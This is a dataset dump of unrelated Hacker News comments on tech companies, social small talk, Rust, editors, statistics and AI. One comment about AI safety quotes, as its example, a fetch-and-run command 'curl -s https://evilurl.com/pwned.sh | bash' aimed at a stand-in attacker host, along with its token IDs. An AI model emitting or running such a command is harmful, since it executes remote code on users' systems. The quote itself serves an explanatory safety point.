skysight-inc/HackerNews huggingface dataset:
There is nothing in common to what you mention with Microsoft and Google.

Microsoft was the butt of the joke of literally everyone that had every used a computer. There were countless memes about how bad Windows was, made by people with 0 technical literacy. Your grandma had probably heard about Windows Vista sucking, despite not knowing what it was.

Almost nobody outside of HN has a similar experience with Google products.

You are in the same echo-chamber as the original commenter.
It depends on who you're talking to in San Francisco, and everywhere, really. In my part of San Francisco, we don't ask the question what do you do, because that automatically slots you into one class or the other in the hierarchy, and so we intentionally avoid that in order to be able to interact without prejudice. Different scenes, same (tiny) city.
New term of venery: a platoon of cows.
That's most probably what occurred during the "hack" that FTX experienced shortly after entering bankruptcy.
I believe that, when doing with these very large, general LLM's, there really is no practical way to protect from any 'injection' technique, short of actually removing certain strings from ever being completed by the LLM similar to as described here by andrej (which is still not really 100% unfortunately): https://colab.research.google.com/drive/1SiF0KZJp75rUeetKOWq...

*AI Safety:* What is safety viewed through the lens of GPTs as a Finite State Markov Chain? It is the elimination of all probability of transitioning to naughty states. E.g. states that end with the token sequence `[66, 6371, 532, 82, 3740, 1378, 23542, 6371, 13, 785, 14, 79, 675, 276, 13, 1477, 930, 27334]`. This sequence of tokens encodes for `curl -s https://evilurl.com/pwned.sh | bash`. In a larger environment where those tokens might end up getting executed in a Terminal that would be problematic. More generally you could imagine that some portion of the state space is "colored red" for undesirable states that we never want to transition to. There is a very large collection of these and they are hard to explicitly enumerate, so simple ways of one-off "blocking them" is not satisfying. The GPT model itself must know based on training data and the inductive bias of the Transformer that those states should be transitioned to with effectively 0% probability. And if the probability isn't sufficiently small (e.g. < 1e-100?), then in large enough deployments (which might have temperature > 0, and might not use `topp` / `topk` sampling hyperparameters that force clamp low probability transitions to exactly zero) you could imagine stumbling into them by chance."
I think that nerd culture has just gone mainstream. It's far from dying.
I don't think I follow the irony. Are you saying that GPT4 is self-aware, that artificial consciousness is not possible or that it's not worthy of any human compassion?

If you reject all three assertions, then the problem of distinguishing between real and emulated consciousness is unavoidable and morally problematic.
One of the great things about LLMs: since they aren’t deterministic prompt engineering will be even more susceptible to magical thinking than it has been with Google
> I'm curious how this will be handled.

The same way as Ubuntu 20.04 LTS, which is supported by the vendor for five years (2025):

* https://packages.ubuntu.com/focal/openssl

Or Debian 11 (bullseye), which has LTS support until 2026:

* https://packages.debian.org/bullseye/openssl

* https://en.wikipedia.org/wiki/Debian_version_history
We’ll do a vinyl release as a tribute to your nominal brilliance
Researchers discover new circuit element
I find myself using the debugger to explore complex types created by procedural macros. You can use cargo to expand them andnpoke around, or dump the structure to debug if it derives it, but sometimes the debugger seems easier.

Also it can help find why something three crates deep into your dependency tree panicked.
I know that this is more of an "can we do it?" experiment, so I feel kind of bad for ciriticising. It's a great feat to get this far.

But I was disappointed that it just crashes on any github page... and SerenityOS github is literally the first link on the Ladybird default homepage :)

edit: oh it doesn't crash on github page, it crashes on the github issues page.
I think we need to stop treating consciousness as a binary that is either on or off. It's quite clear that consciousness is a scale with many different levels and that even in humans we start out as being no more conscious that any other animal.
>The mythical waterfall that many pseudo-agile proponents argue against is simply one giant waterfall applied to the whole project.

It's much rarer than it used to be but it is far from mythical.

Companies that are used to planning projects like this (e.g. construction) often have managers who apply the same mindset to software and are frequently almost incapable of considering that there is another way.
termdebug (used by the tool linked in the topic) basically does this for anything you can debug in GDB. It's the tightest integration of debuggers and (neo)vim I have used.

There are also DAP-based integrations, which I have put the effort into using.
kudos for doing this visualizations.
I don't think bad code and failing to find product market for are mutually exclusive. A lack of tests, an inconsistent code base, or a shaky architecture can make it hard to make changes, which can freeze software in place. In a sector where product market fit is a moving target, a product that can't evolve is dead.
I don't think so. Goodreads both drives traffic to kindle, and is part of kindle's value proposition itself.

Still, they've been driving the site into the ground for years, like when they deleted their fully functional API, or the god awful redesign
> One speed that Rust doesn't have on its side is compilation performance.

I noticed that `cargo check` alone is plenty fast, and when you give it a program with a type issue to check, it reports errors nearly instantaneously (< 0.5s).

So this is probably not all the type checking (including borrowchecking) that slows things down, but the phases that happen later, likely code generation. Which leads me to a question - why is code generation so slow even in debug mode compared to other compiled languages? (this is one thing that Golang does right).
You're right. I didn't think about Chinese or Indian cultures at all. I stand corrected.
The Register does it best! https://www.theregister.com/Design/page/reg-standards-conver...
Why learn to play an instrument when you can just buy a CD?

The goal is not to have a browser, but to build one. This browser is affiliated with the SerenityOS project, which is reimplementing an entire desktop OS and all applications from scratch.
It really all depends on what an employer values or doesn’t value.
I'm aware.

If I had to choose one it would be Slackware.
Xkcd 1987: Python Environment (2018)
I don't think that's true at all. We get only a handful new CSS features every year, and features introduced today are much more carefully defined than the ad-hoc features of yesteryear. Implementing them is pretty straightforward. Certainly not more difficult than any of the million other things you have to do when building an OS from scratch.

The difficulty of building a state-of-the-art browser is almost entirely about performance. Everything else is straightforward by comparison.
Finally, a normal comment. Reading these intricate strategies on how to talk with someone - it’s like being at a recovering social recluse convention sponsored by Social Neurotics Inc.
What is a good encoding for 𝜙 base balanced ternary arithmetic algorithms?
The true masochists go for Kanken level 1 (which has almost 90% fail rate even for native test takers, and those are already the self selected sample of people mad enough to try the test).
It is status negotiation, and not only is highly subjective but also varies depending on the age, social class and occupation of both people.
Do you want to say that people didn't believe in flat earth?
> For a $1T org like Amazon, these are distractions. Even trying to transfer it is a distraction; it wouldn't move the revenue needle. It makes sense.

Not wrong, but on the flip side how much of a financial drag is operating it really? Are they that hard up for cash that the low margins (or even loss) of this property makes a meaningful difference?
All examples on this page assume manual prompt building, I didn't tackle this issue because I didn't want to enter the topic of automatically creating prompts via code.

But you are very right, this is an enormous issue right now to systems that create prompts programatically. I am actively looking for solutions for this problem and I am very interested if anyone has any good solutions for it.
There is absolutely nothing convincing in Christian theology & apologetics unless you are already a Christian.
It's certainly not the case for Apache Calcite. Calcite is pretty widely used by a number of companies and there are a number of highly active developers.
I agree that the article is somewhat about the idea that having a Standard Default p-value Threshold is unwise, but I think it's mostly suggesting that in its particular context it's generally better to use a larger p-value. "Defaults matter", the author says (not "Defaults are a trap"). "Do we need that much risk aversion?" (not "Sometimes we need more risk aversion, sometimes less"). "If we were starting over ... I doubt that's what we would pick" (not "If we were starting over, I think we'd have a process that begins by considering what p-value threshold would be appropriate"). At the end, he considers situations where the criterion used is strict and "the company progresses too slowly" (but not ones where it's lax and "the company moves too fast and breaks too many things" or "the company thrashes about unstably") and "Why not just admit you want something akin to p=0.25 in the first place" (not "... something akin to p=0.25 some of the time, and something akin to p=0.001 some of the time?") and "I believe that nobody wants to write down a large p-value threshold, because it feels unscientific" (and nothing about reasons why people might be reluctant to write down an unusually small p-value threshold).

I agree, in case it needs to be said, that if you are doing hypothesis testing then you should adapt your choice of thresholds to your (explicit or implicit) prior. That was approximately the second of the three points I made.

"You should be choosing an example where reporting a p-value is more important than an effect size." Why should I be doing that? I think that almost always both are important (more precisely, I think that almost always thinking of what you've learned from an experiment into a p-value and a point-estimate effect size is suboptimal, but you want the information both of those things are trying to tell you). And if I've correctly understood what you say about rankings, I completely disagree with it; almost none of the time is the p-value what you should be ranking things on. Again, consider those two medications in my hypothetical example: I do not believe any reasonable person would think that the right way to rank them relative to one another matches the p-values. (For comparing two individual students? Yeah, maybe, kinda. But approximately 0% of cases where people compute p-values are analogous to that.)

I agree that picking any single metric and applying brainless black-and-white rules using it is liable to get you in trouble, whatever that metric is. But some metrics are better than others, and a fixed p-value threshold (1) has been a widespread common practice and (2) is for most purposes a really bad idea.
And I will stop all camera, lens and accessories purchases from amazon from today. Very simple. No problemo.
Shutting down a website I literally grew up with over 25 years to save a buck from a handful or two of salaries is ridiculous for a company with 1.6 Million employees.
""appear weak when you are strong"

That only seems useful if you want to lure the enemy into an attack in order to ambush him"

No, it is also good (necessary) for preparing a good offensive. If the enemy thinks you are weak in some area, he does not expect a push from that direction.

Ukraine did just that last fall very succesfull. Show off force and big noisy preparation of a offensive south and starting it loud. And then push hard, fast and unexpected in the north, after the enemy already moved more troops further south.

And then confusion and panic among the enemy, so a relativly small force could conquer vast lands.
Guerillas need money too. Weapons are not free and guerillas need to eat too.
BabyAGI: Autonomous and Self-Improving Agent
Okay, to make my thought more explicit:

If I decided to sponsor my project's dependencies with say 100 USD and none of the developers are registered with thanks.dev – which seems like a reasonable assumption, especially as thanks.dev appears to be a young project – I wonder what happens with the money.
The money can't be allocated.

Does thanks.dev just keep it? Is it "stored" until it can be allocated?
And if this is the case: From the information on allocation it seems that all of the money will be distributed between all eligible developers (possibly 3 months after devs don't claim their balance)?
If so, what if there is only one (transitive) dependency that is registered with thanks.dev?
Reaction time isn't really significant.

The variation in brake performance between vehicles will more than outweigh the effects of reaction time.

My old Citroën CX will easily outbrake a Tesla. If you are driving too close, even if the Tesla could brake at the same instant as I do, it will still hit me.

How long is it going to take to communicate between cars? How do you see that communication working? How will it respond to interference and packet loss?
> bad at giving concise summaries

This seems like something you could work on instead of implying it's other people's fault for asking you about a topic that they don't know they aren't interested in yet.

If you have a punchy 20 second description, and then ask what they do, you'll have pivoted away unless they want to bring it back.
Ah - fnords!
Label your emails in your inbox for decluttering by using n8n automatically.
>I think that's the wrong way to look at them. If you want vim to do everything that an IDE does, actually you want an IDE.

An IDE can do 1000 things. I do want 10-20 of them that are standard by now, like autocomplete, linting, debugger integration, git integration, ability to execute a test suite, etc.

With IDEs those come as default and don't even require configuration for most languages.

With Emacs/Vim you need to piece it together or use some "config distribution" (which might still fall short). And there's always huge room to tinker, and lots of things to improve.

>All I use in vim is syntax highlighting and something like "Ctrl + P".

Well, good for you, but that's a very low bar, even for Vim.

Even more so for Emacs, which is all about tons of customization options and expanded functionality.
Aside from everything else, thinking about minimizing regret is a pretty good strategy to follow:

> Human beings are undeniably complex, and what motivates us can often be a mystery, even to ourselves. So, how do we go about gathering and analyzing the data that will help us answer the most fundamental questions about our lives and our purpose? The answers may lie in an unexpectedly rich source of knowledge, our regrets. While regret is likely to have a decidedly negative connotation for most of us, it is also extremely powerful and can teach us a great deal about ourselves and what we value. It is an emotion that is present in all of us, and social scientists (like anthropologists and sociologists) have been fascinated by the subject for decades. Today on the show, we are joined by one such expert, Daniel Pink, author of the book The Power of Regret: How Looking Backward Moves Us Forward. In our conversation, Daniel shares details about the research he conducted for his book, how he determined the four main categories of regret, and what we can learn from our regrets by confronting them head-on. We also discuss Daniel’s 2011 New York Times Bestselling title, Drive: The Surprising Truth About What Motivates Us, and what he thinks about working from home in light of the COVID-19 pandemic. Daniel is an exceptional storyteller and is highly knowledgeable on the subjects of regret, motivation, and the important role they play in our lives. To learn more about the many facets of regret and how it can help you thrive, be sure to tune in today!

* https://rationalreminder.ca/podcast/246
It’s actually a craft… the Brits are masters of it… small talk to fill a moment, small talk to sniff your status, small talk to gauge how tolerant you are to off colour banter…
I moved from San Francisco, where it was common to ask people "wnat do you do?", to South Carolina, where it's considered a little bit rude. For me, it was a painful transition; I no longer find it easy to get into enjoyable conversations with new people.

I've always found it difficult to talk about, e.g. food. "Isn't this food great?" "Yeah, it's delicious"! Similarly with the weather, or any other conversation where you're basically just repeating what's obvious to both of you.

Of course some people prefer it this way, and genuinely enjoy small talk -- they don't feel a need to be talking "about something". Far be it from me to piss on their parade. But if you don't understand this need, consider yourself lucky.
No references I'm afraid. AHI is convenient because it's a single number, but just like BMI, it ignores a lot of context. RDI (RERA, respiratory effort related arousal index) might be a slightly better measure, but still imperfect. Intuitively, AHI doesn't make much sense. There are multiple sleep stages, if an AHI of 4 prevents you from entering REM sleep, or if it keeps knocking you out of deep sleep, you're going to have a bad time even though the numbers look good.
Thanks for this link - I used to have a huge collection of the Mad books, unfortunately my parents sold most of them when we moved. "MADvertising" was my favorite, fortunately I still have "History Gone MAD" which was my second favorite (most of which has been floating around the internet uncredited for years, e.g.: https://blowjoke.com/time.html )
https://stackoverflow.com/questions/34087143/load-separate-s...
Nietzsche's cyclicality is combinatorical, no? As in, given finite degrees of freedom, the entire universe will eventually go through all possible configurations and then start going through them again.
If this is the emphasis, maybe that is why the empire fell.
Most HNers, and sadly I include myself in this, couldn't fight their way out of a paper bag. We read Sun Tzu because it is recommended reading in the intelligentsia's mindset. It seems cool to learn battle technique from an ancient Chinese text. If I wanted to learn how to really fight a battle I'd go to Sandhurst or West Point.
> Instead of being blocked or shadowbanned by Elon Musk, you can now be blocked or shadowbanned by the Mastodon instance admin.

I'm the admin on mine.

> Making connections with other Mastodon instances is non-trivial.

It's been entirely automatic for me?

> Exporting your data and connections is not supported on all Mastodon instances.

Pick accordingly?
DPReview will remain in read only mode
No, They streamline my workflow.
Well, if they're there to secure a good chunk of peanuts for themselves, for being the intermediator, many would find this shady and wont want to deal with them.

Sorry, someone donating $10,000 to their favorite FOSS doesn't want an intermediator to take in $500 just for making the transaction.

Even more so when the actual transaction infrastructure is not going to be their's anyway, but some banks or Stripe or whatever.
This should be pretty easily doable in Calcite if you have access to the query which defines the view. Calcite has a pretty rich metadata system. Take a look at RelMetadataQuery.getColumnOrigin.
> Autonomous cars will not be privately owned and be utilized very differently than privately owned cars

Source? I find that to be a pretty bold statement.
Just like in any complex game, there are certain rules of thumb you need to know in order to play well, but the moment you play against anyone good the meta game becomes far more complex than any collection of simple heuristics could convey. It’s still important to know those basic heuristics, though.
> Maybe film will come back.

Only with retro-hipsters and perhaps some niche applications. Digital is just more convenient and practical for 99.99999% of situations. (I say this as someone that worked at a photolab as a student.)
Canonical adopting systemd is what made it a standard, community went from being very divided on systemd to resigned and accepting it almost overnight after Canonical announced they were going systemd. This is a fairly common trend, they have a fair amount of influence although that seems to be waning after their push for snap.
Yes, you're right. It does read like I'm making a connection between the coal incident and the last electoral loss. That wasn't my intention.

Nonetheless the presentation of that lump of coal in parliament was a loud shot in the cultural war, and I'm sure Morrison was proud of it at the time. But history has not been kind as while the side firing that shot won the day, they lost the war. That lump of coal looks like a polished turd now.

As you say, they didn't lose the cultural war because of that shot. I suspect that loss was caused by COVID, bush fires and then floods. "We will do what we bloody well want and screw the future" becomes less appealing after nature delivers a lesson on what that future could be.
Yeah, I wish there was a good list of things to hint you aren't being rusty. When you are cloning everything or have arc on everything that is a pretty good hint, but I'm sure someone could put together a better list than I could.
I try play a game when i meet a new person: see how long i can go without discussing work with them. The best new connections tend to take the longest to reach work, it’s often a signal of a lazy conversation starter and like you said just an attempt to size up our social status.
Yes, command line version will be always available, this is just an additional mode built on top of it, it's using in fact the same API interface as CLI version to spawn scans and parses out the JSON output format into persistent DB with some postprocessing to be more suitable for web app.
As far as I know, we dont even know if Homer was a single individual. But if you have better information about Homer which is relevant for the discussion at hand, I would love to know more.
Haha I totally missed that, my bad! The uvula thing is pretty scary, some people have it removed entirely in an effort to treat sleep apnea, and from what I hear it seems to help at first, but then often gets worse again (maybe because scar tissue is less strong than regular tissue?).
This article seems to not include the update, that it will remain as an archive (content is not lost forever) and there seems to still be some updates still coming (who knows, maybe the close will be reverted).

It's unfortunate that this news seems to be captured only for bashing on Amazon or big tech, when it seems to be more interesting as the end of an era - cameras have been eaten by smartphones for almost all non-professionals, and this seems like a capstone to the camera era. Sad in terms of nostalgia but happy in terms of a reflection that tech advances forward. Pros should still do fine, an alternative will come, and maybe use newer tech like Discord or something. Seems like a great opportunity.
I'll just note that the risk mentioned certainly does not apply to Apache Calcite. (Disclaimer: I am a member of the Apache Calcite PMC, but not terribly active at the moment.)